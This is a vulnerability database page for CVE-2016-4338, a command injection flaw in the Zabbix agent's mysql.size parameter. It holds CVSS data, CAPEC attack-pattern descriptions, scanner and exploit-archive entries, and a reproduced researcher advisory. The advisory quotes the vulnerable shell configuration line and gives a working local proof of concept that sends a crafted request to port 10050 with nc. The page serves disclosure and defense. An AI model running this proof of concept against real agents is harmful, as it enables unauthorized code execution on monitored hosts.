Vulnerabilities > CVE-2016-4338 - SQL Injection vulnerability in Zabbix
Attack vector
NETWORK Attack complexity
HIGH Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
The mysql user parameter configuration script (userparameter_mysql.conf) in the agent in Zabbix before 2.0.18, 2.2.x before 2.2.13, and 3.0.x before 3.0.3, when used with a shell other than bash, allows context-dependent attackers to execute arbitrary code or SQL commands via the mysql.size parameter.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
- Object Relational Mapping Injection An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
- SQL Injection through SOAP Parameter Tampering An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
- Expanding Control over the Operating System from the Database An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
- SQL Injection This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:
Exploit-Db
description | Zabbix Agent 3.0.1 - mysql.size Shell Command Injection. CVE-2016-4338. Local exploit for linux platform |
file | exploits/linux/local/39769.txt |
id | EDB-ID:39769 |
last seen | 2016-05-05 |
modified | 2016-05-04 |
platform | linux |
port | |
published | 2016-05-04 |
reporter | Timo Lindfors |
source | https://www.exploit-db.com/download/39769/ |
title | Zabbix Agent 3.0.1 - mysql.size Shell Command Injection |
type | local |
Nessus
NASL family CGI abuses NASL id ZABBIX_FRONTEND_2_0_18.NASL description According to its self-reported version number, the instance of Zabbix running on the remote host is affected by a command injection vulnerability due to improper sanitization of user-supplied input to the last seen 2020-06-01 modified 2020-06-02 plugin id 91349 published 2016-05-27 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/91349 title Zabbix < 2.0.18 / 2.2.13 / 3.0.3 'mysql.size' Parameter Command Injection NASL family Gentoo Local Security Checks NASL id GENTOO_GLSA-201612-42.NASL description The remote host is affected by the vulnerability described in GLSA-201612-42 (Zabbix: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in Zabbix. Please review the CVE identifiers referenced below for details. Impact : A remote attacker could possibly execute arbitrary code with the privileges of the process, or cause a Denial of Service condition. Workaround : There is no known workaround at this time. last seen 2020-06-01 modified 2020-06-02 plugin id 95816 published 2016-12-14 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/95816 title GLSA-201612-42 : Zabbix: Multiple vulnerabilities
Packetstorm
data source | https://packetstormsecurity.com/files/download/136898/zabbixagent301-exec.txt |
id | PACKETSTORM:136898 |
last seen | 2016-12-05 |
published | 2016-05-03 |
reporter | Timo Juhani Lindfors |
source | https://packetstormsecurity.com/files/136898/Zabbix-Agent-3.0.1-mysql.size-Shell-Command-Injection.html |
title | Zabbix Agent 3.0.1 mysql.size Shell Command Injection |
Seebug
bulletinFamily | exploit |
description | CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection Affected products ================= At least Zabbix Agent 1:3.0.1-1+wheezy from http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions were not tested. Background ========== "Zabbix agent is deployed on a monitoring target to actively monitor local resources and applications (hard drives, memory, processor statistics etc). The agent gathers operational information locally and reports data to Zabbix server for further processing. In case of failures (such as a hard disk running full or a crashed service process), Zabbix server can actively alert the administrators of the particular machine that reported the failure. Zabbix agents are extremely efficient because of use of native system calls for gathering statistical information." -- https://www.zabbix.com/documentation/3.0/manual/concepts/agent Description =========== Zabbix agent listens on port 10050 for connections from the Zabbix server. The commands can be built-in or user-defined. The mysql.size user parameter defined in` /etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf` takes three input parameters and uses a shell script to generate an SQL query: ``` UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N ``` The code assumes that /bin/sh is bash that supports the [[ compound command. However, if /bin/sh is for example dash the statement ``` [[ "$1" = "all" || ! "$1" ]] ``` ends up executing the command "$1" with the argument "]]". Exploit ======= Zabbix sanitizes the input and blocks many dangerous characters ("'"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot give our shell commands any parameters which significantly reduces the impact of this vulnerability. If you find a way to execute arbitrary commands using this flaw I'd be really interested in the details. The following proof-of-concept shows how the vulnerability can be used escalate privileges locally: ``` $ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1>&2\n' > /tmp/owned $ chmod a+rx /tmp/owned $ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$ This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$ sh: 1: [[: not found$ sh: 1: all: not found$ ``` The exploit of course assumes that the Server line in the configuration includes "127.0.0.1". If the agent is configured to accept connections only from the Zabbix server. In that case this issue can only be exploited from the server or by spoofing the IP address of the server (with for example ARP spoofing). Since output of the command is piped to mysql it might be possible to also execute some SQL commands in the database. Author ====== This issue was discovered by Timo Lindfors from Nixu Corporation. Timeline ======== 2016-04-19: Issue discovered and reported internally for verification. 2016-04-21: Issue reported to vendor. 2016-04-22: Vendor acknowledges vulnerability and starts patching. 2016-04-26: Asked status update from vendor. 2016-04-26: Vendor responds that the issue is still being patched. 2016-04-26: CVE requested from MITRE. 2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability. 2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741 |
id | SSV:92245 |
last seen | 2017-11-19 |
modified | 2016-08-08 |
published | 2016-08-08 |
reporter | heiben |
title | Zabbix Agent 3.0.1 mysql. size shell command injection |
References
- http://packetstormsecurity.com/files/136898/Zabbix-Agent-3.0.1-mysql.size-Shell-Command-Injection.html
- http://packetstormsecurity.com/files/136898/Zabbix-Agent-3.0.1-mysql.size-Shell-Command-Injection.html
- http://seclists.org/fulldisclosure/2016/May/9
- http://seclists.org/fulldisclosure/2016/May/9
- http://www.securityfocus.com/archive/1/538258/100/0/threaded
- http://www.securityfocus.com/archive/1/538258/100/0/threaded
- http://www.securityfocus.com/bid/89631
- http://www.securityfocus.com/bid/89631
- https://security.gentoo.org/glsa/201612-42
- https://security.gentoo.org/glsa/201612-42
- https://support.zabbix.com/browse/ZBX-10741
- https://support.zabbix.com/browse/ZBX-10741
- https://www.exploit-db.com/exploits/39769/
- https://www.exploit-db.com/exploits/39769/
- https://www.zabbix.com/documentation/2.0/manual/introduction/whatsnew2018#miscellaneous_improvements
- https://www.zabbix.com/documentation/2.0/manual/introduction/whatsnew2018#miscellaneous_improvements
- https://www.zabbix.com/documentation/2.2/manual/introduction/whatsnew2213#miscellaneous_improvements
- https://www.zabbix.com/documentation/2.2/manual/introduction/whatsnew2213#miscellaneous_improvements
- https://www.zabbix.com/documentation/3.0/manual/introduction/whatsnew303#miscellaneous_improvements
- https://www.zabbix.com/documentation/3.0/manual/introduction/whatsnew303#miscellaneous_improvements